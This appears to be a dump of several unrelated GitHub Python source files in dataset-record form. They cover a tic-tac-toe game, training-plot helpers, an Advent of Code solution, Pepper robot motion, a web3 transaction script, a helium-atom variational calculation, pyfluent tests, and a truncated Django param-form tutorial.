is_leaf_leaf(self):\n if self.score_for_max_max_player()!=0:return True\n if self.valid_actions() == []: return True\n return (self.board == \"_\").sum() == 0\n #@pysnooper.snoop(depth=1)\n def score_for_max_max_player(self):\n for player, score in zip(\"XO\",[+1,-1]):\n #Rows\n state = []\n for i in range(3):\n state.append([initial_mini_state(self.board[i][0]), initial_mini_state(self.board[i][1]), initial_mini_state(self.board[i][2])])\n if (state[i][0].is_leaf() and state[i][1].is_leaf()\n and state[i][2].is_leaf()):\n\n if (state[i][0].score_for_max_player() == state[i][1].score_for_max_player()\n == state[i][2].score_for_max_player()):\n\n return state[i][0].score_for_max_player()\n #Cols\n for j in range(3):\n if (state[0][j].is_leaf() and state[1][j].is_leaf()\n and state[2][j].is_leaf()):\n\n if (state[0][j].score_for_max_player() == state[1][j].score_for_max_player()\n == state[2][j].score_for_max_player()):\n\n return state[0][j].score_for_max_player()\n\n #Diag x\n\n if (state[0][0].is_leaf() and state[1][1].is_leaf()\n and state[2][2].is_leaf()):\n\n if (state[0][0].score_for_max_player() == state[1][1].score_for_max_player()\n == state[2][2].score_for_max_player()):\n\n return state[1][1].score_for_max_player()\n #Diag y\n if (state[0][2].is_leaf() and state[1][1].is_leaf()\n and state[2][0].is_leaf()):\n\n if (state[0][2].score_for_max_player() == state[1][1].score_for_max_player()\n == state[2][0].score_for_max_player()):\n\n return state[1][1].score_for_max_player()\n #Tie\n return 0\n\n def perform_extra(self, action):\n player = \"X\" if self.is_max_players_turn() else \"O\"\n row_out, col_out, row_in, col_in = action\n new_state = TicTacToeState(self.board, (row_in, col_in))\n new_state.board[row_out, col_out, row_in, col_in] = player\n return new_state\n\n\n def print_func(self):\n for i in range(3):\n print('{0} | {1} | {2}\\n'.format(self.board[0][0][i],self.board[0][1][i],self.board[0][2][i]))\n print('--------------------------------------------')\n for i in range(3):\n print('{0} | {1} | {2}\\n'.format(self.board[1][0][i],self.board[1][1][i],self.board[1][2][i]))\n print('--------------------------------------------')\n for i in range(3):\n print('{0} | {1} | {2}\\n'.format(self.board[2][0][i],self.board[2][1][i],self.board[2][2][i]))\n print('--------------------------------------------')\n\n\ndef initial_state(obstacles=0):\n board = np.array([\n [[[\"_\" for _ in range(3)] for _ in range(3)]\n for large_column in range(3)]\n for large_row in range(3)])\n\n for i in range(obstacles):\n obs = np.random.randint(3, size=4)\n board[obs[0],obs[1],obs[2],obs[3]] = 'P'\n\n return TicTacToeState(board,(0,0))\n\n\nif __name__ == \"__main__\":\n state = initial_state()\n print(state.print_func())\n print(state.valid_actions())\n\n while True:\n if state.is_leaf_leaf(): break\n actions = state.valid_actions()\n\n print('available actions:\\n',actions)\n if len(actions) == 0: break\n\n state = state.perform_extra(actions[0])\n print(state.print_func())\n\n print(\"max score, is over:\")\n if (state.score_for_max_max_player() == 1):\n print('X wins')\n elif (state.score_for_max_max_player() == -1):\n print(\"O wins\")\n else: print('Tie')\n\n print(state.is_leaf_leaf())\n","repo_name":"yangx18/Fanta-Tic-Tac-Toe","sub_path":"main/tictactoe_nn/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":5140,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"17151405676","text":"import os\nimport matplotlib\n\nmatplotlib.use('AGG')\nimport matplotlib.pyplot as plt\n\n\ndef plot_history(history, result_dir, save_prefix):\n \"\"\"\n plot training log\n :param history: training log\n :param result_dir: save path\n :param save_prefix: prefix for saved file\n :return:None\n \"\"\"\n plt.plot(history.history['acc'], marker='.')\n plt.plot(history.history['val_acc'], marker='.')\n plt.title('model accuracy')\n plt.xlabel('epoch')\n plt.ylabel('accuracy')\n plt.grid()\n plt.legend(['acc', 'val_acc'], loc='lower right')\n plt.savefig(os.path.join(result_dir, '{}_model_accuracy.png'.format(save_prefix)))\n plt.close()\n\n plt.plot(history.history['loss'], marker='.')\n plt.plot(history.history['val_loss'], marker='.')\n plt.title('model loss')\n plt.xlabel('epoch')\n plt.ylabel('loss')\n plt.grid()\n plt.legend(['loss', 'val_loss'], loc='upper right')\n plt.savefig(os.path.join(result_dir, '{}_model_loss.png'.format(save_prefix)))\n plt.close()\n\n\ndef save_history(history, result_dir, save_prefix):\n \"\"\"\n save training log to .txt file\n :param history: training log\n :param result_dir: save path\n :param save_prefix: prefix for saved file\n :return:None\n \"\"\"\n loss = history.history['loss']\n acc = history.history['acc']\n val_loss = history.history['val_loss']\n val_acc = history.history['val_acc']\n nb_epoch = len(acc)\n\n with open(os.path.join(result_dir, '{}_result.txt'.format(save_prefix)), 'w') as fp:\n fp.write('epoch\\tloss\\tacc\\tval_loss\\tval_acc\\n')\n for i in range(nb_epoch):\n fp.write('{}\\t{}\\t{}\\t{}\\t{}\\n'.format(\n i, loss[i], acc[i], val_loss[i], val_acc[i]))\n fp.close()\n","repo_name":"YourBaymax/Action-Recognition-Research","sub_path":"utils/history_saver.py","file_name":"history_saver.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"71254586643","text":"\ncommandsFile = open(\"input.txt\", \"r\")\ncommandsFileLines = commandsFile.readlines()\n\nhorizontal = 0\ndepth = 0\n\nfor line in commandsFileLines:\n commandBreakDown = line.split(' ')\n commandWord = commandBreakDown[0]\n commandValue = commandBreakDown[1]\n\n if(commandWord == \"down\"):\n depth += int(commandValue)\n elif(commandWord == \"up\"):\n depth -= int(commandValue)\n elif(commandWord == \"forward\"):\n horizontal += int(commandValue)\n\n \nprint(horizontal * depth)","repo_name":"AlexNYC25/Advent_Of_Code_2021","sub_path":"Day 2/Day 2: Dive Part 1/dive.py","file_name":"dive.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34994576576","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 23 10:38:15 2019\n\n@author: Pepper\n\"\"\"\n\n#Import some stuff. nao_nocv_2 should be the same as the original one. \n#I am not aware of changes that anyone made\n\nimport naoqi\nimport nao_nocv_2 as nao\nimport time\nimport math\nimport numpy as np\n\n\n#Some vars to connect to the robot etc.\nrobot_IP = \"192.168.0.119\";\nrobotPort = 9559;\nproxyList=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17];\n\n#Connecting to the robot\nnao.InitProxy(IP=robot_IP, proxy=proxyList, PORT=robotPort)\n\n#Movement\nnao.InitPose()\ntry:\n dx = 1\n dy = 0\n dtheta = 0\n circleWalkAngle()\nfinally:\n print(\"Except\")\n nao.Move(0,0,0)\n \ndef circleWalkAngle():\n\n #Some settings\n steps = 10 #unitless. The amount of steps to split the trajectory into.\n speed = float(0.5) # Ideally m/s, max 0.55. Currently just percentage of \n #max.\n # As it is not SI units, it invalidates with the \n #other calculations\n radius = float(1) #meters. Radius of the circle Pepper walks\n arcLenght = float(4.6) #meters. Approximation for now. \n #Distance of actual distance walked.\n stepLenght = arcLenght / steps # meters. Distance walked per step\n stepTime = stepLenght / speed # seconds. Time taken for each step\n angle_pre = 0 #Starting angle\n print(\"\"\"steps: {:.0f}, speed: {:.1f}, radius: {:.1f}, arclenght: {:.1f}, \n steplenght: {:.3f}, stepTime: {:.3f}\"\"\".format(\n steps, speed, radius, arcLenght, stepLenght, stepTime))\n \n #Start of actual behaviour. There is an error in the code where pepper is\n #doing step i_-1 at time i. It lags behind. This is no big problem for\n #now, but should be solved.\n\n nao.InitPose()\n time.sleep(5) #Some slight delay is here for now. This should be removed \n #later\n print(\"start\")\n starttime = time.time()\n \n for i in np.linspace(0,radius * 2, steps): #Divides the track up in parts.\n #Should probably be based on \n #arclenght, not radius * 2\n angle = (math.sin((radius * i) * (math.pi))) #Calculate desired angle\n angle_dif = angle - angle_pre \n angle_v = angle_dif / stepTime #Calculate turning rate (radians/sec)\n print(\"\"\"step i: {:.2f}: Speed: {:.2f}, desired angle: {:.2f}, \n angle_dif is: {:.2f}, angle v is: {:.2f}\"\"\".format(\n i, speed, angle, angle_dif, angle_v))\n if angle_v > 1: #Pepper errors when exceeding maximum turn rate.\n angle_v = 1\n elif angle_v < -1: #Pepper errors when exceeding maximum turn rate.\n angle_v = -1\n angle_pre = angle\n #nao.MoveSI(speed, 0 , angle_v)\n time.sleep(stepTime)\n print(\"time taken is:\" + str(time.time()-starttime))\n nao.Move(0,0,0)\n \n\n ","repo_name":"SimonHTI/Research_Project","sub_path":"Special_movement_Backup.py","file_name":"Special_movement_Backup.py","file_ext":"py","file_size_in_byte":2943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39242054204","text":"from web3 import Web3\nfrom eth_account import Account\n\nw3 = Web3(Web3.HTTPProvider('https://sepolia.infura.io/v3/7e2ee82c1a1f4a8a9b3b75b22162b90a'))\nif w3.is_connected():\n # Connect to MetaMask\n provider = w3.currentProvider\n if provider is not None:\n web3 = Web3(provider)\n if web3.eth.accounts:\n user_address = web3.eth.accounts[0]\n else:\n print('No accounts found in MetaMask')\n else:\n print('MetaMask not found')\nelse:\n print('Web3 is not connected')\n\nfrom web3 import Transaction\n\n# Create the transaction object\ntx = Transaction({\n 'from': user_address,\n 'to': '0x7d1017267455FAFec280F51b3Fb6E139Dfd8CDb0',\n 'value': web3.toWei(0.1, 'ether'),\n 'gasPrice': web3.toWei(50, 'gwei'),\n 'nonce': web3.eth.getTransactionCount(user_address)\n})\n\n# Estimate the gas cost\ntx_gas = tx.estimateGas()\ntx_gas_price = web3.eth.gasPrice\ntx_cost = tx_gas * tx_gas_price\nfrom eth_account.messages import defunct_hash_message\n\n# Prepare the message to sign\nmessage = defunct_hash_message(primitive=tx)\nmessage_hex = message.hex()\n\n# Prompt the user to sign the message in MetaMask\nsignature = web3.eth.personal.sign(message_hex, user_address)\n\n# Update the transaction with the signature\ntx.rawHash = tx.hash()\ntx.r, tx.s, tx.v = web3.eth.account._parse_sig(signature)\n\n# Send the transaction to the network\ntx_hash = web3.eth.sendRawTransaction(tx.rawTransaction)\nprint(f'Transaction sent: {tx_hash.hex()}')\n","repo_name":"poddarswakhar/SharePay_Web","sub_path":"backend/utils/metamask.py","file_name":"metamask.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"11638382484","text":"# Variable para almacenar la cantidad de árboles encontrados\narboles = 0\n\nwith open(\"inputMahatma.txt\") as file:\n desplX = 0 # Desplazamiento en X\n linea1 = file.readline() # La primera linea se salta\n # Obtenemos la longitud de las líneas del archivo\n longitudX = len(linea1.strip())\n for line in file: # Desplazamiento en Y\n # Nos movemos a la derecha 3 espacios\n desplX += 3\n # Si nos salimos de la cantidad de espacios de una línea, regresamos al inicio\n if (desplX >= longitudX):\n desplX -= longitudX\n # Si donde nos movimos existe un árbol, aumentamos el contador\n if (line[desplX] == '#'):\n arboles += 1\n\nprint(\"Arboles encontrados:\", arboles)\n","repo_name":"Mahatma-Quijano/Proyecto-1-Bimestre---Desarrollo-de-Software-Seguro","sub_path":"Ejercicio_3/Ejercicio_3_1.py","file_name":"Ejercicio_3_1.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6911398743","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\ndef plot_sensor(cj, filename, fig, this_sensor='GNP',this_color=[1,0,0], legend=False):\n\n plt.subplots_adjust(top=0.92, bottom=0.08, left=0.10, right=0.95, hspace=0.25,\n wspace=0.35)\n tmp = cj['Flow']\n plt.subplot(3,3,1)\n iic = 0\n plt.plot(tmp['t']-cj['t0'], tmp['x'][:,iic], color=this_color) \n plt.ylabel('Flow')\n if(this_sensor in cj.keys()):\n tmp = cj[f'{this_sensor}']\n tmp['x'] = np.array(tmp['x'])/np.array(np.ones((len(tmp['x']),1))*tmp['baseline'])\n for iic in range(8):\n plt.subplot(3,3,iic+2)\n plt.plot(tmp['t'][tmp['inds'] == 1]-cj['t0'], tmp['x'][tmp['inds'] == 1,iic], color=this_color, label=filename)\n plt.ylabel('baseline compensated')\n plt.title(str(tmp['names'][iic]))\n \n\n if(legend):\n plt.legend(framealpha=1, frameon=True)\n else:\n plt.legend(bbox_to_anchor=(1.05, 3), loc='upper left')\n \n ","repo_name":"pruebasDrageloz/VOGAS","sub_path":"VOGASpy/plot_sensor.py","file_name":"plot_sensor.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2575376977","text":"from typing import Any, Dict\n\nfrom google.protobuf.json_format import MessageToDict, ParseDict\nimport pytest\nfrom util.solver_workflow import new_solver_session # noqa: F401\n\nfrom ansys.api.fluent.v0.scheme_pointer_pb2 import SchemePointer\nfrom ansys.fluent.core.services.scheme_eval import (\n Symbol,\n _convert_py_value_to_scheme_pointer,\n _convert_scheme_pointer_to_py_value,\n)\n\n\n@pytest.mark.parametrize(\n \"py_value,json_dict\",\n [\n (None, {}),\n (False, {\"b\": False}),\n (True, {\"b\": True}),\n (5, {\"fixednum\": \"5\"}),\n (5.0, {\"flonum\": 5.0}),\n (\"abc\", {\"str\": \"abc\"}),\n ((), {}),\n ((\"abc\",), {\"list\": {\"item\": [{\"str\": \"abc\"}]}}),\n (\n (\"abc\", 5.0),\n {\n \"pair\": {\n \"car\": {\"str\": \"abc\"},\n \"cdr\": {\"flonum\": 5.0},\n }\n },\n ),\n (\n (False, 5.0, \"abc\"),\n {\"list\": {\"item\": [{\"b\": False}, {\"flonum\": 5.0}, {\"str\": \"abc\"}]}},\n ),\n ([], {}),\n ([\"abc\"], {\"list\": {\"item\": [{\"str\": \"abc\"}]}}),\n (\n [False, 5.0],\n {\"list\": {\"item\": [{\"b\": False}, {\"flonum\": 5.0}]}},\n ),\n ({}, {}),\n (\n {\"a\": 5.0},\n {\n \"list\": {\n \"item\": [{\"pair\": {\"car\": {\"str\": \"a\"}, \"cdr\": {\"flonum\": 5.0}}}],\n }\n },\n ),\n (\n {\"a\": 5.0, \"b\": 10.0},\n {\n \"list\": {\n \"item\": [\n {\"pair\": {\"car\": {\"str\": \"a\"}, \"cdr\": {\"flonum\": 5.0}}},\n {\"pair\": {\"car\": {\"str\": \"b\"}, \"cdr\": {\"flonum\": 10.0}}},\n ]\n }\n },\n ),\n (\n [Symbol(\"+\"), 2.0, 3.0],\n {\"list\": {\"item\": [{\"sym\": \"+\"}, {\"flonum\": 2.0}, {\"flonum\": 3.0}]}},\n ),\n ],\n)\ndef test_convert_py_value_to_scheme_pointer(\n py_value: Any, json_dict: Dict[str, Any]\n) -> None:\n p = SchemePointer()\n _convert_py_value_to_scheme_pointer(py_value, p, \"23.1.0\")\n assert MessageToDict(p) == json_dict\n\n\n@pytest.mark.parametrize(\n \"py_value,json_dict\",\n [\n (None, {}),\n (False, {\"b\": False}),\n (True, {\"b\": True}),\n (5, {\"fixednum\": \"5\"}),\n (5.0, {\"flonum\": 5.0}),\n (\"abc\", {\"str\": \"abc\"}),\n ([\"abc\"], {\"list\": {\"item\": [{\"str\": \"abc\"}]}}),\n ((\"abc\",), {\"pair\": {\"car\": {\"str\": \"abc\"}}}),\n (\n [False, 5.0, \"abc\"],\n {\n \"list\": {\"item\": [{\"b\": False}, {\"flonum\": 5.0}, {\"str\": \"abc\"}]},\n },\n ),\n (None, {}),\n (\n {\"a\": 5.0, \"b\": 10.0},\n {\n \"list\": {\n \"item\": [\n {\"pair\": {\"car\": {\"str\": \"a\"}, \"cdr\": {\"flonum\": 5.0}}},\n {\"pair\": {\"car\": {\"str\": \"b\"}, \"cdr\": {\"flonum\": 10.0}}},\n ]\n }\n },\n ),\n (\n {\"a\": [5.0, False], \"b\": [10.0, True]},\n {\n \"list\": {\n \"item\": [\n {\n \"pair\": {\n \"car\": {\"str\": \"a\"},\n \"cdr\": {\n \"list\": {\n \"item\": [{\"flonum\": 5.0}, {\"b\": False}],\n }\n },\n }\n },\n {\n \"pair\": {\n \"car\": {\"str\": \"b\"},\n \"cdr\": {\n \"list\": {\n \"item\": [{\"flonum\": 10.0}, {\"b\": True}],\n }\n },\n }\n },\n ]\n }\n },\n ),\n (\n [[\"a\", 5.0, False], [5, 10.0, True]],\n {\n \"list\": {\n \"item\": [\n {\n \"list\": {\n \"item\": [{\"str\": \"a\"}, {\"flonum\": 5.0}, {\"b\": False}],\n }\n },\n {\n \"list\": {\n \"item\": [\n {\"fixednum\": 5},\n {\"flonum\": 10.0},\n {\"b\": True},\n ],\n }\n },\n ]\n }\n },\n ),\n ],\n)\ndef test_convert_scheme_pointer_to_py_value(\n py_value: Any, json_dict: Dict[str, Any]\n) -> None:\n p = SchemePointer()\n ParseDict(json_dict, p)\n val = _convert_scheme_pointer_to_py_value(p, \"23.1.0\")\n assert val == py_value\n\n\ndef test_convert_scheme_pointer_having_symbol_to_py_value() -> None:\n p = SchemePointer()\n ParseDict(\n {\n \"pair\": {\n \"car\": {\"str\": \"abc\"},\n \"cdr\": {\"flonum\": 5.0},\n }\n },\n p,\n )\n val = _convert_scheme_pointer_to_py_value(p, \"23.1.0\")\n assert isinstance(val, tuple)\n assert len(val) == 2\n assert val[0] == \"abc\"\n assert val[1] == 5.0\n\n\n@pytest.mark.parametrize(\n \"py_value\",\n [\n None,\n False,\n True,\n 5,\n 5.0,\n \"abc\",\n [\"abc\"],\n [False, 5.0, \"abc\"],\n {\"abc\": 5.0},\n {\"abc\": 5.0, \"def\": [2.0, False]},\n {\"a\": {\"b\": 3.0}},\n {\"a\": {\"b\": {\"c\": 3.0}}},\n {\"a\": {\"b\": {\"c\": 3.0}, \"d\": 4.0}},\n ],\n)\ndef test_two_way_conversion(py_value: Any) -> None:\n p = SchemePointer()\n _convert_py_value_to_scheme_pointer(py_value, p, \"23.1.0\")\n val = _convert_scheme_pointer_to_py_value(p, \"23.1.0\")\n assert val == py_value\n\n\ndef test_two_way_conversion_for_symbol() -> None:\n py_value = [Symbol(\"+\"), 2.0, 3.0]\n p = SchemePointer()\n _convert_py_value_to_scheme_pointer(py_value, p, \"23.1.0\")\n val = _convert_scheme_pointer_to_py_value(p, \"23.1.0\")\n assert isinstance(val, list)\n assert isinstance(val[0], Symbol)\n assert val[0].str == \"+\"\n assert val[1:] == [2.0, 3.0]\n\n\ndef test_two_way_conversion_for_pairs() -> None:\n py_value = (\"abc\", 5.0)\n p = SchemePointer()\n _convert_py_value_to_scheme_pointer(py_value, p, \"23.1.0\")\n val = _convert_scheme_pointer_to_py_value(p, \"23.1.0\")\n assert isinstance(val, tuple)\n assert len(val) == 2\n assert val[0] == \"abc\"\n assert val[1] == 5.0\n\n\n@pytest.mark.fluent_version(\">=23.1\")\ndef test_long_list(new_solver_session) -> None:\n length = 10**6\n assert new_solver_session.scheme_eval.eval(\n [Symbol(\"+\")] + list(range(length))\n ) == sum(range(length))\n assert sum(new_solver_session.scheme_eval.eval([Symbol(\"range\"), length])) == sum(\n range(length)\n )\n","repo_name":"ansys/pyfluent","sub_path":"tests/test_scheme_eval_231.py","file_name":"test_scheme_eval_231.py","file_ext":"py","file_size_in_byte":7153,"program_lang":"python","lang":"en","doc_type":"code","stars":175,"dataset":"github-code","pt":"3"} +{"seq_id":"23013469810","text":"#!/usr/bin/env python3\n\n# Made 2020, Mingsong Wu\n# mingsongwu [at] outlook [dot] sg\n# github.com/starryblack/quVario\n\n### READINGS IN readings FOLDER VERY USEFUL FOR HELIUM ATOM APPROXIMATIONS\n\nimport math\nimport sys\nimport os\nimport time\nfrom datetime import datetime\n\n\n### using sympy methods for symbolic integration. Potentially more precise and convenient (let's not numerically estimate yet)\nimport numpy as np\nimport scipy as sp\nimport scipy.constants as sc\nimport sympy as sy\nfrom sympy import conjugate, simplify, lambdify, sqrt\nfrom sympy import *\nfrom IPython.display import display\nfrom scipy import optimize, integrate\n\n#### For future monte carlo integration work hopefully\nimport mcint\nimport random\n\n### Honestly OOP isnt really shining in advantage now, other than me not caring about the order of functions and using global variables liberally.\nclass eiGen():\n\n ### initialisation protocol for eiGen object\n def __init__(self):\n self.hbar = sc.hbar\n self.mass_e = sc.electron_mass\n self.q = sc.elementary_charge\n self.pi = sc.pi\n self.perm = sc.epsilon_0\n self.k = (self.q**2)/(4*self.pi*self.perm)\n sy.init_printing()\n\n self.macro1()\n\n ### important bit: generating sets of 3d spherical coordinate sympy symbols for each electron. In this case 2, but can be easily scaled arbitrarily. All generated symbols stored in master self.bases list. Somehow I can't assign each variable a self attribute directly????\n def spawn_electrons(self, number, coord_sys = 's'):\n self.bases = []\n if coord_sys == 'spherical' or 's':\n for i in range(number):\n temp = []\n for q in ['r', 'theta', 'phi']:\n temp.append(sy.symbols(q + str(i)))\n self.bases.append(temp)\n\n elif coord_sys == 'cartesian' or 'cart':\n for i in range(number):\n temp = []\n for q in ['x', 'y', 'z']:\n temp.append(sy.symbols(q + str(i)))\n self.bases.append(temp)\n\n elif coord_sys == 'cylindrical' or 'cylin':\n for i in range(number):\n temp = []\n for q in ['rho', 'phi', 'z']:\n temp.append(sy.symbols(q + str(i)))\n self.bases.append(temp)\n\n ### this is a kind of brute force laplace, because I cannot use the sympy.laplace function AND specify which electron it should operate wrt\n def laplace(self, expr, index, coord_sys = 'spherical'):\n\n if coord_sys == 'spherical' or 's':\n r = self.bases[index][0]\n t = self.bases[index][1]\n p = self.bases[index][2]\n grad = [sy.diff(expr, r), 1/r * sy.diff(expr, t), 1/(r*sin(t)) * sy.diff(expr, p)]\n lap = (1/r**2)*sy.diff(r**2 * grad[0], r) + (1/(r*sin(t)))*(sy.diff(grad[1] * sin(t), t) + sy.diff(grad[2], p))\n return lap\n\n ### Just makes the psi function variable. #TODO! augment this to read off a txt file (easier to see or find or collect the various trial forms)\n\n def spawn_psi(self):\n self.psi = -sy.exp(-self.alpha0*(self.r0 + self.r1))\n\n ### Just generating parameters. Only need 1 now.\n def spawn_alphas(self, number):\n for i in range(number):\n setattr(self, 'alpha{}'.format(i), sy.symbols('alpha{}'.format(i), real = True))\n\n ### Automatically slaps the SPHERICAL VOLUME jacobian for self.symintegrate. Tightly paired with said function.\n def jacob_gen(self, index, dimensions = 3, type = 's'):\n if dimensions == 3 and type == 's':\n return self.bases[index][0]**2*sin(self.bases[index][1])\n\n\n ## Symbolic integration (volume only for now) with spherical jacobian added for each set of coordinates\n def symintegrate(self, expr, number, dimensions = 3, type = \"spherical\"):\n if type == 'spherical' or type == 's':\n if dimensions == 3:\n for i in range(number):\n temp = sy.integrate(expr*self.jacob_gen(index = i), (self.bases[i][0], 0, oo), (self.bases[i][1], 0, pi),(self.bases[i][2], 0, 2*pi), conds = \"none\")\n expr = temp\n return temp\n\n\n ### Final workhorse that implements scipy fmin function to minimise our expression. The processing is general but the output is specific to our current helium example (1 parameter)\n def iterate(self, func, guess, args):\n print('\\nIterator initialised!! Please be patient!!\\n')\n starttime = time.time()\n\n temp = optimize.fmin(func, guess, args = (args), full_output = 1)\n\n endtime = time.time()\n elapsedtime = endtime - starttime\n now = datetime.now()\n date_time = now.strftime('%d/%m/%Y %H:%M:%S')\n\n # just returns datetime of attempt, elapsed time, optimised parameter, optimised value, number of iterations\n return [date_time, elapsedtime, guess, temp[0], temp[1], temp[3]]\n\n\n def lambdah(self, expr, var, type = 'scipy'):\n\n return lambdify((var), expr, type)\n\n################################################################\n#These are situation specific functions, for our particular helium integration problem.\n\n ###specifically atomic units\n def hamiltonian_he(self, trial):\n self.ke = -0.5 * (self.laplace(trial, 0) + self.laplace(trial, 1))\n self.nucleus = -(2/self.r0 + 2/self.r1)\n self.repel = (1/ sqrt(self.r0**2 + self.r1**2 - 2*self.r0*self.r1*cos(self.theta0)))\n\n print('\\nKinetic Energy terms (self.ke), Nucleus Attraction terms (self.nucleus), Electron Repulsion terms (self.repel) generated!!!\\n')\n return self.ke, self.nucleus, self.repel\n\n ### This our custom situtaion, where the hydrogenic component is analytic (ie a nice expression with parameter as sole variable) and the cross repulsion term is a numerically evaluated integral. So programme must substitute trial parameter and THEN integrate to check if end value is minimum\n def final_expr1(self, a, cross, hydrogenic):\n integrand = integrate.nquad(cross, [[0, sp.inf], # r0\n [0, sp.pi], # theta0\n [0, sp.inf], # phi0\n ], args = (a,)) #phi1\n\n print(hydrogenic(a) + integrand[0], 'heart trees')\n return hydrogenic(a) + integrand[0]\n\n ### writes self.iterate results to a paired txr file. If file no exist it is spawned.\n def custom_log(self, data = [], comments = None):\n log = open('marki_log.txt', 'a+')\n separator = '\\n{}\\n'.format(''.join('#' for i in range(10)))\n info = separator + 'Datetime = {}\\n'.format(data[0]) + 'Time taken (s) = {}\\n'.format(data[1]) + 'Initial parameter guess (atomic untis) = {}\\n'.format(data[2]) + 'Optimised parameter (atomic units) = {}\\n'.format(data[3]) + 'Optimised function value (atomic units) = {}\\n'.format(data[4]) + 'Number of iterations = {}\\n'.format(data[5]) + 'Comments = ({})\\n'.format(comments)\n print(info)\n log.write(info)\n log.close()\n\n ### actual sequence of processing events. Technically this can be transfered to a separate macro script. Hence the name macro.\n def macro1(self):\n\n self.spawn_alphas(2)\n self.spawn_electrons(2)\n\n self.r0 = self.bases[0][0]\n self.theta0 = self.bases[0][1]\n self.phi0 = self.bases[0][2]\n\n self.r1 = self.bases[1][0]\n self.theta1 = self.bases[1][1]\n self.phi1 = self.bases[1][2]\n\n self.spawn_psi()\n ke, attract, repel = self.hamiltonian_he(self.psi)\n\n normal = self.symintegrate(conjugate(self.psi)*self.psi, 2)\n result1 = self.symintegrate(conjugate(self.psi)*ke, 2)\n result2 = self.symintegrate(conjugate(self.psi)*attract*self.psi, 2)\n self.hydrogenic = self.lambdah(result1/normal + result2/normal, (self.alpha0))\n\n jacob_special = 2*4*sp.pi**2*self.r0**2*self.r1**2*sin(self.theta0)\n cross_vars = (self.r0, self.theta0, self.r1, self.alpha0)\n self.cross_term = self.lambdah(simplify(jacob_special*conjugate(self.psi)*repel*self.psi/normal), (cross_vars))\n\n result = self.iterate(self.final_expr1, guess = 1.6, args = (self.cross_term, self.hydrogenic))\n self.custom_log(result, 'test run 2 with cross term, psi = -self.alpha0*(self.r0 + self.r1)')\n\n\n\n def __enter__(self):\n pass\n\n def __exit__(self, e_type, e_val, traceback):\n pass\n\n### start script\ne = eiGen()\n","repo_name":"metrosierra/quVario","sub_path":"helium_marki/helium_marki.py","file_name":"helium_marki.py","file_ext":"py","file_size_in_byte":8516,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"10364799296","text":"from django.shortcuts import render\nfrom django.views.decorators.csrf import ensure_csrf_cookie\nfrom tethys_sdk.permissions import login_required\nfrom django_param.forms import ParamForm\nfrom django.views.decorators.csrf import ensure_csrf_cookie\nimport param\nimport datetime as dt\nimport pandas as pd\nimport os\n\n\n# Specify your param class\nclass MyParamString(param.Parameterized):\n favorite_quote = param.String(default=\"hello world!\", doc=\"Empty String is not allowed\", allow_None=False)\n\n\nclass MyParamXYCoordinates(param.Parameterized):\n home_town = param.XYCoordinates(default=(-111.65, 40.23))\n my_numeric_tuples = param.NumericTuple(default=(1, 2, 3))\n\n\nclass MyParamDataFrame(param.Parameterized):\n dataset = param.DataFrame(pd.util.testing.makeDataFrame().iloc[:3])\n\n\nclass MyParamColor(param.Parameterized):\n color = param.Color(default='#FFFFFF')\n\n\nclass MyParamList(param.Parameterized):\n selector = param.Selector(objects=[1, 2, 3, 4, 5, 6, 7, 8, 9, 10])\n choose_color = param.ObjectSelector(default=\"yellow\", objects=[\"red\", \"yellow\", \"green\"])\n choose_multiple_color = param.ListSelector(default=['red', 'yellow'], objects=[\"red\", \"yellow\", \"green\", \"blue\"])\n\n\nclass MyParamDate(param.Parameterized):\n datetime = param.Date(dt.datetime(2020, 1, 1, 0, 0, 0), bounds=(dt.datetime(2017, 1, 1, 0, 0, 0),\n dt.datetime(2021, 1, 1, 0, 0, 0)))\n date = param.CalendarDate(dt.date(2020, 1, 1))\n\n\nclass MyParamBoolean(param.Parameterized):\n enable_sprocket = param.Boolean(True, doc=\"A sample Boolean parameter\", allow_None=True)\n\n\nclass MyParamFileSelector(param.Parameterized):\n which_file = param.MultiFileSelector(path='*', precedence=0.5)\n\n\nclass MyParamMagnitude(param.Parameterized):\n r_squared = param.Magnitude(default=0.9)\n\n\nclass MyParamNumber(param.Parameterized):\n age = param.Number(49, bounds=(0, 100), doc=\"Any Number between 0 to 100\")\n\n\n@login_required()\ndef home(request):\n \"\"\"\n Controller for the app home page.\n \"\"\"\n\n context = {}\n\n return render(request, 'tethys_django_form_tutorial/home.html', context)\n\n\n@login_required()\ndef param_boolean(request):\n \"\"\"\n Controller for the app home page.\n \"\"\"\n\n my_param = MyParamBoolean()\n\n context = get_context(request, my_param)\n\n return render(request, 'tethys_django_form_tutorial/boolean.html', context)\n\n\n@login_required()\ndef date_selection(request):\n \"\"\"\n Controller for the app home page.\n \"\"\"\n my_param = MyParamDate()\n\n context = get_context(request, my_param)\n\n return render(request, 'tethys_django_form_tutorial/Date.html', context)\n\n\n@login_required()\ndef dataframe(request):\n \"\"\"\n Controller for the app home page.\n \"\"\"\n\n my_param = MyParamDataFrame()\n\n context = get_context(request, my_param)\n\n return render(request, 'tethys_django_form_tutorial/dataframe.html', context)\n\n\n@login_required()\ndef colorpicker(request):\n \"\"\"\n Controller for the app home page.\n \"\"\"\n\n my_param = MyParamColor()\n\n context = get_context(request, my_param)\n\n return render(request, 'tethys_django_form_tutorial/colorpicker.html', context)\n\n\n@login_required()\ndef param_list(request):\n \"\"\"\n Controller for the app home page.\n \"\"\"\n\n my_param = 